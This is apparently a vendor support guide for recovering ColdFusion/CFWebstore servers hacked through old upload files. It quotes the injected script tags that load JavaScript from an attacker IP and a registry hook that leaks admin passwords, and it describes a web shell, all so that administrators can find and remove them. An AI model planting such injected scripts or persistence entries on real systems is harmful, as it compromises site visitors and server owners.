Basically the hack is making use of an old upload file that would exist on version 5 and older version 6 sites. It might also be found on any recent sites that had been upgraded, but had not removed unused files, but version 6.41 sites are not known to be vulnerable to the attack regardless of the file(s) existence. The hackers may also use other venues to attack, there are reports of some FCKEditor and CKEditor installs having similar vulnerabilities as well as CF8 (cftextarea which uses FCKEditor). So be on the lookout for *any* upload function on your servers as a possible entry point. In the event that your site was compromised, here are steps to take in order to return to working order.
Please note that hackers commonly change tactics and this may not exactly match what you find on your server, there may be differences in the nature of the attack, where it comes from, file names, etc. This is intended to be just a starting point to go from.
What these hackers do is upload a ColdFusion page (typically index.cfm or image.cfm) with a shell interface to take complete control over your web server. They can browse your file system, upload, view and edit files, add users and services, etc. (It is a ColdFusion variant of the C99 shell script, a somewhat notorious piece of PHP malware). The hardest part of these current hacks is that the hackers may use this file to do different things on different servers. Typically, you can tell you've been hacked by a script being injected into the bottom of all your pages.
So, here's some suggestions on what to do if you've been attacked. First, if you have a backup of your entire server (operating system and all) then do a database backup and restore your system back to before the attack. You can then restore your database information. Skip to step 3 to prevent hackers from coming back.
If you do not have a backup, you'll need to clean up your sites and server. Here are the steps:
- Turn off your web sites or put a temporary splash page up before Google has time to identify your site as dangerous. Google is surprisingly fast at finding compromised web pages and visitors may start seeing a warning page when coming to your site. If this happens, you can submit your site to Google Webmaster Tools to be re-evaluated. However it will save time and energy (and protect your site visitors) if you simply turn your site off ASAP.
- Clean up the injected code. The hacker inserts 2 different lines of script into your site, one for web pages, and one for javascript files. The hacker does a search and replace on the entire server, not just the web folders.
It is best to do a search and replace from your server's desktop A popular app to use for this is jReplace.
Do a search and replace for the two different script injections (these may change so be sure to match whatever gets injected on your own sites):- First, open the Application.cfm of any site. At the bottom you'll see a line of code like (this is going to vary depending on your site and what they inject on it, so adjust accordingly):
<scRipT src= http://203.251.202.94/iis7.0.js ></sCrIpt >
Use jReplace to replace this code
Directory: c:
File types: htm,html,asp,php,cfm
Search for: (the script you found above)
Replace with: (leave field blank)
Be patient, this will take awhile to run. You will know it is done when you see the log entries. - Next open any .js file in a web site. At the bottom you'll find a line of code like:
document.writeln ("<script src="http:// 203.251.202.94/iis7.0. js"></script>") ;
Copy and replace entire line as above
Directory: c:
File types: js,JS
- First, open the Application.cfm of any site. At the bottom you'll see a line of code like (this is going to vary depending on your site and what they inject on it, so adjust accordingly):
- Remove the initial attack files. Typically, you will see an index.cfm and/or image.cfm in the images/accounts folder. You often will find files elsewhere (includes/mxajax is another popular location for them), so you may want to compare with a clean install of the software to find stray files. MOST IMPORTANTLY, go to the customtags directory and delete any cfm file that starts with the word 'upload' (there may be 2 or 3). You can also delete the Application.cfm template from the customtags directory as well. If you are on a version 5 store, you may need to modify the users/dsp_account_form.cfm page as well to not include a call to this page (under logo), it's not a commonly used file, and you can just comment the entire setting on that page that uses it without needing to change any code elsewhere.
- If you are using Coldfusion 8, it is very possible that the hackers may be using the version of FCKEditor built into ColdFusion to upload the file. If you have cleaned and patched a webstore site, and the files all show up again, this is commonly how they are doing it. Although it is possible to turn off the upload feature, the safest thing to do is to delete the entire filemanager directory found under "CFIDEscriptsajaxFCKeditoreditor".
Coldfusion updates may put those files back, so be sure to keep that in mind. Be sure to also check your servers for any other upload functions, or other installs of FCKEditor and make sure they are updated and/or patched against a similar exploit.
- Clean off any other recently modified or new files that the hacker(s) may have placed on your sites. Typically we've seen them try to add index.cm files, but you may see them add or modify other files elsewhere on the server. For instance, there was one report of them adding an upload form to the fckeditor.cfm or fckeditor.asp file that will only show when a parameter is passed to it, allowing them access to continue to place files on the server at whim. It is crucial that you find ANY files they might have added, or they can continue to get onto the server.
- As an additional precaution, you can make an additional change you can make on your Application.cfm page, that will help prevent them from running index.cfm or other .cfm files from subdirectories. See the blog entry on this here. Please note, this will not prevent them from continuing to attack if they have modified any legal files in the application, or have access to the CF8 exploit, so it's critical to take care of these issues as well.
- After cleaning your site(s) take a minute and zip it up as a backup. This will make it easier to just restore should you have missed anything and the hackers get back on.
- Now it's time to turn to the server. Typically, the most issues we have seen is with Enterprise servers that have JSP and/or cfregistry/cfexecute enabled. That allows the hacker(s) to do a wide variety of actions, from creating new user accounts, automatically sending them server passwords, installing viruses and malware, and any other amount of mischief. If these kinds of things have happened to your server, you may be best off just rebuilding from scratch, using a backup copy of your websites, database, ssl keys, etc. If you want to try and fix it, here are some suggestions to try:
- Do a search (including hidden and system files) on your server for any file with the word 'seraph' in it. Typically you'll find the original shell file in other locations, such as windows/help.
- Scan for viruses. It seems the trojans the hackers installed are not well found by many scanners, some users have reported the ESET anti-virus to be more effective at finding them. Some have reported upwards of 50 viruses being found, others not finding any. One commonly found trojan is this backdoor trojan (info from Symantec). This Trojan "calls home" periodically and gets a binary file which it downloads to the Windows temp folder. The binary has a random name. This binary file executes and deletes the web log files, disables logging on web sites, and adds the script tags to your pages. The information on the semantic site will let you know what you need to remove.
- Typically you will also find a registry key that lets the hackers run a service to send them your admin passwords when using remote desktop. Typically this is named something like "wminotify" but may be found under another name. A typical entry might look like this:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonNotifywminotify]
"DllName"="wminotify.dll"
"Asynchronous"=dword:00000001
"Impersonate"=dword:00000000
"Startup"="EventStartup"
Be sure to also delete the DLL that it refers to, which will be found in the windows/system32 directory. This writes a Boot.dat and Boot.bat in c:windowssystem32 that exposes passwords – delete these files as well. - Check for any files that may have been added or modified, particularly in your windows system directory and dated at the time of the original attack. One user reports these files modified and quarantining them stopped continued infections: wpa.dbl, PerfStringBackup.INI, perfh009.dat and perfc009.dat. deploykt.dll was another file found to be suspicious.
- Any number of other changes on the server may have been made. Here are some things to look out for:
- Installation of a service called "microsoft .net framework tpm" (no such service) that hooks your svchost.exe (and associated registry entries). You need to find the associated process (command line tasklist /svc) that is using that service and stop it. Then delete the service (command line: sc delete actual_service_name). Reboot server.
- Adsutil.vbs and gethashes.exe in c: (shouldn't be there).
- New user created and assigned Admin privledges.
- New user directory c:documents and settings
ew_user (replace with actual name)
- All Users directory in c:documents and settingsall users has cmd.exe (shouldn't be there)
- Existence of malicious code in: C:WINDOWSMicrosoft.NETFrameworkv1.1.4322Temporary ASP.NET Files
ootsome_number
- IIS Settings to disable logging (need to be re-enabled).
- Addition of JSP files in attacked website root with malicious code.
- Addition of boot.aspx or boot.cfm in attacked website root with malicious code. (probably sets up the hack).
- Installation of a service called "microsoft .net framework tpm" (no such service) that hooks your svchost.exe (and associated registry entries). You need to find the associated process (command line tasklist /svc) that is using that service and stop it. Then delete the service (command line: sc delete actual_service_name). Reboot server.
- Other users have reported a variety of files in the windows system folder that seem to have been modified or added at the time the site was infected, so be sure to look for any suspicious files.
- Once you are successful in restoring your server and patching the vulnerabilities, be sure to change all your passwords, as a precaution against any areas that the hackers may have gained access to.
- Be sure to also lock ColdFusion down. Disable JSP handling unless you absolutely need it (follow Adobe instructions here) and ideally set up ColdFusion to run under a restricted user account that has no access to windows directories (with the exception of windows/fonts for cfdocument support). You may want to try and block the IP addresses of the attackers if you don't need to allow access to foreign countries like China. Ideally have any users on CFWebstore upgrade when possible to the latest version which has much better security against this, and other types, of attacks.
- Do a search (including hidden and system files) on your server for any file with the word 'seraph' in it. Typically you'll find the original shell file in other locations, such as windows/help.
Hope this is useful, if you need additional help, drop by the yahoogroup for more detailed discussions on exactly what steps people are taking, and any changes we have seen in the attack methods the hackers are using. And if you are having problems getting running again, feel free to contact CFWebstore support for assistance.
